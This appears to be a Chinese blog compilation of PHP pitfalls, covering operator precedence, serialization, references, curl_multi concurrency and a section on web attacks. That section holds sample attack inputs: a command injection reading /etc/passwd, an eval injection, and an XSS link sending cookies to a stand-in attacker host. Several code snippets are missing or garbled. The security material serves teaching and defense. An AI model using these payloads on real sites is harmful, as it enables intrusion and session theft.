1、PHP隐性的三元操作符(?:)优先级问题：
例1：
例2
$i = 2;
$a = 'test‘ . isset($arr[$i]) ? $arr[$i] : $i;
$a 是什么? 这个问题,咋一看觉得简单,
$a = ‘test2';
其实仔细推敲后运行的，结果是notice：Undefined index 2..
由于优先级的问题,连接符的优先级比三元操作符高。
首先是判断 ' test'. isset($arr[$i]) 这个字符串永远是true，因此：
2. PHP函数名和类名不区分大小写的，而变量名是区分大小写的。
所以自己写的PHP模块，往往是大写的问题，编译不通过。
3.系列化传递问题
把复杂的数据类型压缩到一个字符串中
serialize() 把变量和它们的值编码成文本形式
unserialize() 恢复原先变量
$new = serialize($stooges);
print_r($new);echo "
";
print_r(unserialize($new));
结果：a:3:{i:0;s:3:"Moe";i:1;s:5:"Larry";i:2;s:5:"Curly";}
Array ( [0] => Moe [1] => Larry [2] => Curly )
当把这些序列化的数据放在URL中在页面之间会传递时，需要对这些数据调用urlencode()，以确保在其中的URL元字符进行处理：
echo '';
margic_quotes_gpc和magic_quotes_runtime配置项的设置会影响传递到unserialize()中的数据。
如果magic_quotes_gpc项是启用的，那么在URL、POST变量以及cookies中传递的数据在反序列化之前必须用stripslashes()进行处理：
$new_cart = unserialize($cart);
如果magic_quotes_runtime是启用的，那么在向文件中写入序列化的数据之前必须用addslashes()进行处理，而在读取它们之前则必须用stripslashes()进行处理：
fputs($fp,addslashes(serialize($a)));
fclose($fp);
//如果magic_quotes_runtime开启
$new_cat = unserialize(stripslashes(file_get_contents('/tmp/cart')));
//如果magic_quotes_runtime关闭
$new_cat = unserialize(file_get_contents('/tmp/cart'));
在启用了magic_quotes_runtime的情况下，从数据库中读取序列化的数据也必须经过stripslashes()的处理，保存到数据库中的序列化数据必须要经过addslashes()的处理，以便能够适当地存储。
$rs = MysqL_query('select data from cart where id=1');
$ob = MysqL_fetch_object($rs);
//如果magic_quotes_runtime开启
$new_cart = unserialize(stripslashes($ob->data));
//如果magic_quotes_runtime关闭
$new_cart = unserialize($ob->data);
当对一个对象进行反序列化操作时，PHP会自动地调用其__wakeUp()方法。这样就使得对象能够重新建立起序列化时未能保留的各种状态。例如：数据库连接等。
4. 引用注意事项
PHP中引用意味着用不同的名字访问同一个变量内容，引用不是C的指针（Ｃ语言中的指针里面存储的是变量的内容，在内存中存放的地址），是变量的另外一个别名或者映射。注意在 PHP 中，变量名和变量内容是不一样的，因此同样的内容可以有不同的名字。最接近的比喻是 Unix 的文件名和文件本身――变量名是目录条目，而变量内容则是文件本身。引用可以被看作是 Unix 文件系统中的紧密连接或者wins的快捷方式。1）unset 一个引用，只是断开了变量名和变量内容之间的绑定。这并不意味着变量内容被销毁了
例如：不会 unset $b，只是 $a。
使用unset($a)与$a=null的结果是不一样的。如果该块内存只有$a一个映射，那么unset($a)与$a=null等价，该内存的引用计数变为0，被自动回收；如果该块内存有$a和$b两个映射，那么unset($a)将导致$a=null且$b不变的情况，而$a=null会导致$a=$b=null的情况。
原因：某变量赋值为null，将导致该变量对应的内存块的引用计数直接置为0，被自动回收。
2）PHP引用是采用引用计数、写时拷贝
很多人误解PHP中的引用跟C当中的指针一样，事实上并非如此，而且很大差别。C语言中的指针除了在数组传递过程中不用显式申明外，其他都需要使用*进行定义，而PHP中对于地址的指向（类似指针）功能不是由用户自己来实现的，是由Zend核心实现的，PHP中引用采用的是“引用计数、写时拷贝”的原理，(写时复制（Copy-on-Write，也缩写为COW），顾名思义，就是在写入时才真正复制一份内存进行修改。)
就是除非发生写操作，指向同一个地址的变量或者对象是不会被拷贝的，比如下面的代码：
$a = array('a','c'...'n');
$b = $a;
如果程序仅执行到这里，$b和$b是相同的，但是并没有像C那样，$a和$b占用不同的内存空间，而是指向了同一块内存，这就是PHP和c的差别，并不需要写成$b=&$a才表示$b指向$a的内存，zend就已经帮你实现了引用，并且zend会非常智能的帮你去判断什么时候该这样处理，什么时候不该这样处理。
如果在后面继续写如下代码，增加一个函数，通过引用的方式传递参数，并打印输出数组大小。
{
print(count($arr));
}
printArray($a);
上面的代码中，我们通过引用把$a数组传入printArray()函数，zend引擎会认为printArray()可能会导致对$a的改变，此时就会自动为$b生产一个$a的数据拷贝，重新申请一块内存进行存储。这就是前面提到的“引用计数、写时拷贝”概念。
直观的理解：$a将使用自己原始的内存空间，而$b，则会使用新开辟的内存空间，而这个空间将使用$a的原始（$a或者$b改变之前）内容空间的内容的拷贝，然后做对应的改变。
如果我们把上面的代码改成下面这样：
{
print(count($arr));
}
printArray($a);
上面的代码直接传递$a值到printArray()中，此时并不存在引用传递，所以没有出现写时拷贝。
5. 编码的问题
程序代码使用utf-8码，而strlen函数是计算字符串的字节数而不是字符数？
$str = “您好hello”;
echo strlen($str);
结果：ANSI=9 而utf-8=11，utf-8中文字符编码是3个字节。要获取字符数，使用mb_strlen().
6. PHP获取参数的三种方法
方法一 使用$argc $argv
if ($argc > 1){
print_r($argv);
}
在命令行下运行 /usr/local/PHP/bin/PHP ./getopt.PHP -f 123 -g 456
运行结果：
# /usr/local/PHP/bin/PHP ./getopt.PHP -f 123 -g 456
Array
(
[0] => ./getopt.PHP
[1] => -f
[2] => 123
[3] => -g
[4] => 456
)
方法二 使用getopt函数（）
$opts = getopt( $options );
print_r($opts);
在命令行下运行 /usr/local/PHP/bin/PHP ./getopt.PHP -f 123 -g 456
运行结果：
Array
(
[f] => 123
[g] => 456
)
方法三 提示用户输入，然后获取输入的参数。有点像C语言
$name = trim(fgets(STDIN));
fwrite(STDOUT,"Hello,$name!");
在命令行下运行 /usr/local/PHP/bin/PHP ./getopt.PHP
运行结果
Enter your name: francis
Hello,francis!
7. PHP的字符串即可以当做数组,和c指针字符串一样
$s = '12345';
$s[$s[0]] = 0;
echo $s;
?>
结果是10345
8. PHP的高效率写法：9. PHP的安全漏洞问题：
针对PHP的网站主要存在下面几种攻击方式：
1、命令注入(Command Injection)
PHP中可以使用下列5个函数来执行外部的应用程序或函数 system、exec、passthru、shell_exec、“(与shell_exec功能相同)
如：
$dir = $_GET["dir"];
if (isset($dir)) {
echo "";
system("ls -al ".$dir);
echo "";
}
?>
我们提交http://www.test.com/ex1.PHP?dir=| cat /etc/passwd，命令变成了 system("ls -al | cat /etc/passwd"); 我们服务器用户信息被窃看了吧。
2、eval注入(Eval Injection)
eval函数将输入的字符串参数当作PHP程序代码来执行，eval注入一般发生在攻击者能控制输入的字符串的时候。
if (isset($_GET["arg"]))
{
$arg = $_GET["arg"];
eval("\$var = $arg;");
echo "\$var =".$var;
}
?>
当我们提交http://www.sectop.com/ex2.PHP?arg=PHPinfo();漏洞就产生了；
防范命令注入和eval注入的方法
1）、尽量不要执行外部命令。
2）、使用自定义函数或函数库来替代外部命令的功能，甚至有些服务器直接禁止使用这些函数。
3）、使用escapeshellarg函数来处理命令参数，esacpeshellarg函数会将任何引起参数或命令结束的字符转义，单引号“'”，替换成“\'”，双引号“"”，替换成“\"”，分号“;”替换成“\;”
3、客户端脚本攻击(Script Insertion)
客户端脚本植入的攻击步骤
表单输入一些浏览器可以执行的脚本：
插入 无限弹框
插入 跳转钓鱼页面
防止恶意HTML标签的最好办法是使用htmlspecailchars或者htmlentities使某些字符串转为html实体。
4、跨网站脚本攻击(Cross Site Scripting,XSS)
恶意攻击者往Web页面里插入恶意HTML代码，当用户浏览该页之时，嵌入其中Web里面的HTML代码会被执行，从而达到恶意用户的特殊目的。
跨站脚本主要被攻击者利用来读取网站用户的cookies或者其他个人数据，一旦攻击者得到这些数据，那么他就可以伪装成此用户来登录网站，获得此用户的权限。
跨站脚本攻击的一般步骤:
1）、攻击者以某种方式发送xss的http链接给目标用户，例如评论表单：
插入
或者是链接：
http://w w w.my.site/index.PHP?user=< script >document.location="http://w w w.atacker.site/get.PHP?cookie="+document.cookie;< / script >
2）、目标用户登录此网站，在登陆期间打开了攻击者发送的xss链接
3）、网站执行了此xss攻击脚本
4）、目标用户页面跳转到攻击者的网站，攻击者取得了目标用户的信息
防止恶意HTML标签的最好办法还是使用htmlspecailchars或者htmlentities使某些字符串转为html实体。
5、sql注入攻击(sql injection)
sql注入最有效的防御方式是使用准备语句：
准备语句（也叫预备语句 prepared statements），是一种查询，先将他们发送到服务器进行预编译和准备，并且在以后的执行这个查询时告诉它存储参数的位置。
其优点：
1）对参数值进行转义。因此不必调用像MysqLi::real_escape_string或者将参数放在引号中。
2）当在一个脚本中多次执行时，预备语句的性能通常好于每次都通过网络发送查询，当再次执行一个查询时，只将参数发送到数据库，这占用的空间比较少。
1）用PDO(PHP Data Objects )：
2) 使用MysqLi:
6、跨网站请求伪造攻击(Cross Site Request Forgeries,CSRF)
7、Session 会话劫持(Session Hijacking)
8、Session 固定攻击(Session Fixation)
9、HTTP响应拆分攻击(HTTP Response Splitting)
11、目录穿越漏洞(Directory Traversal)
12、远程文件包含攻击(Remote Inclusion)
13、动态函数注入攻击(Dynamic Variable Evaluation)
14、URL攻击(URL attack)
15、表单提交欺骗攻击(Spoofed Form Submissions)
16、HTTP请求欺骗攻击(Spoofed HTTP Requests)
几个重要的PHP.ini选项：register_globals、、magic_quotes、safe_mode。 这个几个选项在PHP5.4都将被弃用。
register_globals：
PHP>=4.2.0，PHP.ini的register_globals选项的默认值预设为Off，当register_globals
的设定为On时，程序可以接收来自服务器的各种环境变量，包括表单提交的变量，而且由于PHP不必事先初始化变量的值，从而导致很大的安全隐患。
要确保禁用 register_globals。如果启用了 register_globals，就可能做一些粗心的事情，比如使用 $variable 替换同名的 GET 或 POST 字符串。通过禁用这个设置，PHP 强迫您在正确的名称空间中引用正确的变量。要使用来自表单 POST 的变量，应该引用 $_POST['variable']。这样就不会将这个特定变量误会成 cookie、会话或 GET 变量。
safe_mode：
安全模式，PHP用来限制文档的存取、限制环境变量的存取，控制外部程序的执行。启用安全模式必须设置PHP.ini中的safe_mode=On
magic_quotes
用来让PHP程序的输入信息自动转义，所有的单引号(“'”)，双引号(“"”)，反斜杠(“\”)和空字符(NULL)，都自动被加上反斜杠进行转义magic_quotes_gpc=On用来设置magicquotes为On，它会影响HTTP请求的数据(GET、POST、Cookies)程序员也可以使用addslashes来转义提交的HTTP 请求数据，或者用stripslashes 来删除转义。
10. curl多请求并发使用
curl大家一定使用过，但并发使用的情况估计不多。但在某些情况下确实比较有用，比如在同一请求里面调用多个他方接口，传统方法我们需要串行请求接口:
file_get_contents('http://a.PHP');//1秒
file_get_contents('http://b.PHP');//2秒
file_get_contents('http://c.PHP');//2秒
那在这里耗时为5秒，但运营curl的muti方法，我们只需2秒就可请求完毕. 在PHP的手册里面有一段代码：
//发出请求
.......
$active = null;
do {
$mrc = curl_multi_exec($mh,$active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM); while ($active && $mrc == CURLM_OK) {
if (curl_multi_select($mh) != -1) {
do {
$mrc = curl_multi_exec($mh,$active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
}
}
//下面是处理请求返回的结果
但如果我有1000个请求，那么curl批处理将并发1000个请求，显然是不合理，所以应该要控制一个并发数，并且将剩余的连接添加到请求队列里：
参考：How to use curl_multi() without blocking
$connomains = array(
//2.PHP自己去些
"http://localhost/2.PHP?id=1",//sleep(1)秒
"http://localhost/2.PHP?id=2",//sleep(2)秒
"http://localhost/2.PHP?id=5",//sleep(5)秒
); $mh = curl_multi_init(); foreach ($connomains as $i => $url) {
$conn[$i] = curl_init($url);//初始化各个子连接
curl_setopt($conn[$i],CURLOPT_RETURNTRANSFER,1);//不直接输出到浏览器
curl_multi_add_handle ($mh,$conn[$i]);//加入多处理句柄
} $active = 0;//连接数 do {
do{
//这里$active会被改写成当前未处理数
//全部处理成功$active会变成0
$mrc = curl_multi_exec($mh,$active); //这个循环的目的是尽可能的读写，直到无法继续读写为止(返回CURLM_OK)
//返回(CURLM_CALL_MULTI_PERFORM)就表示还能继续向网络读写
}while($mrc==CURLM_CALL_MULTI_PERFORM);
//如果一切正常，那么我们要做一个轮询，每隔一定时间(默认是1秒)重新请求一次
//这就是curl_multi_select的作用,它在等待过程中，如果有就返回目前可以读写的句柄数量,以便
//继续读写操作,0则没有可以读写的句柄(完成了)
} while ($mrc==CURLM_OK&& $active &&curl_multi_select($mh)!=-1);//直到出错或者全部读写完毕 if ($mrc != CURLM_OK) {
print "Curl multi read error $mrc/n";
} // retrieve data
foreach ($connomains as $i => $url) {
if (($err = curl_error($conn[$i])) == '') {
$res[$i]=curl_multi_getcontent($conn[$i]);
} else {
print "Curl error on handle $i: $err/n";
}
curl_multi_remove_handle($mh,$conn[$i]);
curl_close($conn[$i]);
}
curl_multi_close($mh); print_r($res);
?>
有的人为了省事，这样写:
do { curl_multi_exec($mh,$active); } while ($active);
看似也能得到结果，但其实很不严谨，并且很浪费cpu，因为这个循环会一直在不停的调用，直到所有链接处理完毕，在循环里面加个print 'a' 就可看出效果了。
11、empty使用魔术方法__get判断对象属性是否为空不起作用
Please note that results of empty() when called on non-existing / non-public variables of a class are a bit confusing if using magic method __get (as prevIoUsly mentioned by nahpeps at gmx dot de). Consider this example:
class Registry
{
protected $_items = array();
public function __set($key,$value)
{
$this->_items[$key] = $value;
}
public function __get($key)
{
if (isset($this->_items[$key])) {
return $this->_items[$key];
} else {
return null;
}
}
}
$registry = new Registry();
$registry->empty = '';
$registry->notEmpty = 'not empty';
var_dump(empty($registry->notExisting)); // true,so far so good
var_dump(empty($registry->empty)); // true,so far so good
var_dump(empty($registry->notEmpty)); // true,.. say what?
$tmp = $registry->notEmpty;
var_dump(empty($tmp)); // false as expected
?>
12、Linux下命令行执行PHP文件的格式必须是unix。
PHP ./test.PHP
如果test.PHP是windos上传的，其格式可能是dos。
然后运行该命令就报错：Could not open input file
我们可以在vi中使用:set ff来查看格式：
fileformat=dos
如果是dos格式,那么就要使用:set ff=unix来设置新格式
再使用:set ff来查看格式,可以看到已经是unix的格式了;
fileformat=unix
